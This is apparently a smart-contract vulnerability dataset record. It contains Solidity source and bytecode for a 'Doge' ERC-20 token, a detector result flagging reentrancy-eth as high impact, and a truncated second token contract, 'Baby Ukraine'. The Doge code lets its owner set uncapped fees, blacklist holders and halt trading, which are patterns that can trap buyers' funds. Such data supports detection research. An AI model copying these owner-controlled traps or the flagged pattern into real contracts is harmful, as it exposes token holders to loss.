// SPDX-License-Identifier: Unlicensed /** ▒█▀▄▀█ ▒█▀▀▀ ▒█▀▄▀█ ▒█▀▀▀   ▀█▀ ▒█▀▀▀█   ▒█▀▀▄ ▒█▀▀▀█ ▒█▀▀█ ▒█▀▀▀ ▒█▒█▒█ ▒█▀▀▀ ▒█▒█▒█ ▒█▀▀▀   ▒█░ ░▀▀▀▄▄   ▒█░▒█ ▒█░░▒█ ▒█░▄▄ ▒█▀▀▀ ▒█░░▒█ ▒█▄▄▄ ▒█░░▒█ ▒█▄▄▄   ▄█▄ ▒█▄▄▄█   ▒█▄▄▀ ▒█▄▄▄█ ▒█▄▄█ ▒█▄▄▄ ▒█▀▀▄ ▒█▀▀▀█ ▒█▀▀█ ▒█▀▀▀   ▀█▀ ▒█▀▀▀█   ▒█▀▄▀█ ▒█▀▀▀ ▒█▀▄▀█ ▒█▀▀▀ ▒█░▒█ ▒█░░▒█ ▒█░▄▄ ▒█▀▀▀   ▒█░ ░▀▀▀▄▄   ▒█▒█▒█ ▒█▀▀▀ ▒█▒█▒█ ▒█▀▀▀ ▒█▄▄▀ ▒█▄▄▄█ ▒█▄▄█ ▒█▄▄▄   ▄█▄ ▒█▄▄▄█   ▒█░░▒█ ▒█▄▄▄ ▒█░░▒█ ▒█▄▄▄ **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DOGE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Doge"; string private constant _symbol = unicode"🐶"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xFD45347bf5F84ca440c4b075f2dCc0d63773cF3a); address payable private _marketingAddress = payable(0xFD45347bf5F84ca440c4b075f2dCc0d63773cF3a); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000099 * 10**9; uint256 public _maxWalletSize = 10000000099 * 10**9; uint256 public _swapTokensAtAmount = 10099 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ab57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611950565b6105f6565b005b34801561020a57600080fd5b50604080518082019091526004815263446f676560e01b60208201525b6040516102349190611a15565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a6a565b610695565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50683635c9adc5dea000005b604051908152602001610234565b3480156102d757600080fd5b5061025d6102e6366004611a96565b6106ac565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610234565b34801561032957600080fd5b5060155461028d906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ad7565b610715565b34801561036957600080fd5b506101fc610378366004611b04565b610760565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611ad7565b6107f3565b3480156103be57600080fd5b506101fc610815565b3480156103d357600080fd5b506101fc6103e2366004611b1f565b610889565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ad7565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028d565b34801561045457600080fd5b506101fc610463366004611b04565b6108b8565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b50604080518082019091526004815263784fc85b60e11b6020820152610227565b3480156104b757600080fd5b506101fc6104c6366004611b1f565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b38565b61092f565b3480156104f757600080fd5b5061025d610506366004611a6a565b61096d565b34801561051757600080fd5b5061025d610526366004611ad7565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b6a565b6109ce565b34801561057c57600080fd5b506102bd61058b366004611bee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b1f565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ad7565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c27565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c5c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c88565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611da0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c27565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c27565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c27565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c27565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c27565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c27565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c27565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c5c565b9050602002016020810190610a2f9190611ad7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c88565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c27565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c27565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611ca1565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a698484848461145a565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a15565b5060006112198486611cb9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611488565b90506112d983826114ab565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c5c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a59190611cd0565b816001815181106113b8576113b8611c5c565b6001600160a01b0392831660209182029290920101526014546113de9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611417908590600090869030904290600401611ced565b600060405180830381600087803b15801561143157600080fd5b505af1158015611445573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611467576114676114ed565b61147284848461151b565b80610a6957610a69600e54600c55600f54600d55565b6000806000611495611612565b90925090506114a482826114ab565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611654565b600c541580156114fd5750600d54155b1561150457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061152d87611682565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061155f90876116df565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461158e9086611721565b6001600160a01b0389166000908152600260205260409020556115b081611780565b6115ba84836117ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ff91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061162e82826114ab565b82101561164b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116755760405162461bcd60e51b81526004016106209190611a15565b5060006112198486611d5e565b600080600080600080600080600061169f8a600c54600d546117ee565b92509250925060006116af611488565b905060008060006116c28e878787611843565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061172e8385611ca1565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b600061178a611488565b905060006117988383611893565b306000908152600260205260409020549091506117b59082611721565b30600090815260026020526040902055505050565b6006546117d790836116df565b6006556007546117e79082611721565b6007555050565b600080808061180860646118028989611893565b906114ab565b9050600061181b60646118028a89611893565b905060006118338261182d8b866116df565b906116df565b9992985090965090945050505050565b60008080806118528886611893565b905060006118608887611893565b9050600061186e8888611893565b905060006118808261182d86866116df565b939b939a50919850919650505050505050565b6000826000036118a5575060006106a6565b60006118b18385611d80565b9050826118be8583611d5e565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561194b8161192b565b919050565b6000602080838503121561196357600080fd5b823567ffffffffffffffff8082111561197b57600080fd5b818501915085601f83011261198f57600080fd5b8135818111156119a1576119a1611915565b8060051b604051601f19603f830116810181811085821117156119c6576119c6611915565b6040529182528482019250838101850191888311156119e457600080fd5b938501935b82851015611a09576119fa85611940565b845293850193928501926119e9565b98975050505050505050565b600060208083528351808285015260005b81811015611a4257858101830151858201604001528201611a26565b81811115611a54576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7d57600080fd5b8235611a888161192b565b946020939093013593505050565b600080600060608486031215611aab57600080fd5b8335611ab68161192b565b92506020840135611ac68161192b565b929592945050506040919091013590565b600060208284031215611ae957600080fd5b81356112d98161192b565b8035801515811461194b57600080fd5b600060208284031215611b1657600080fd5b6112d982611af4565b600060208284031215611b3157600080fd5b5035919050565b60008060008060808587031215611b4e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7f57600080fd5b833567ffffffffffffffff80821115611b9757600080fd5b818601915086601f830112611bab57600080fd5b813581811115611bba57600080fd5b8760208260051b8501011115611bcf57600080fd5b602092830195509350611be59186019050611af4565b90509250925092565b60008060408385031215611c0157600080fd5b8235611c0c8161192b565b91506020830135611c1c8161192b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9a57611c9a611c72565b5060010190565b60008219821115611cb457611cb4611c72565b500190565b600082821015611ccb57611ccb611c72565b500390565b600060208284031215611ce257600080fd5b81516112d98161192b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3d5784516001600160a01b031683529383019391830191600101611d18565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9a57611d9a611c72565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b2a2640e12ee1c30b3de30d39262235a0cf99da38a6d15206e411420be011d264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,432
0xfd1cdd0fc6e4a0b8286bfae48323d19abca8b417
/* Telegram: https://t.me/babyukraine Twitter: https://twitter.com/Babyukraine */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract babyukrainetoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Baby Ukraine"; string private constant _symbol = "BABYUKRAINE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x9FfF201E1fF7D3EdDb81414f04FB4913854d22cb); _buyTax = 12; _sellTax = 12; 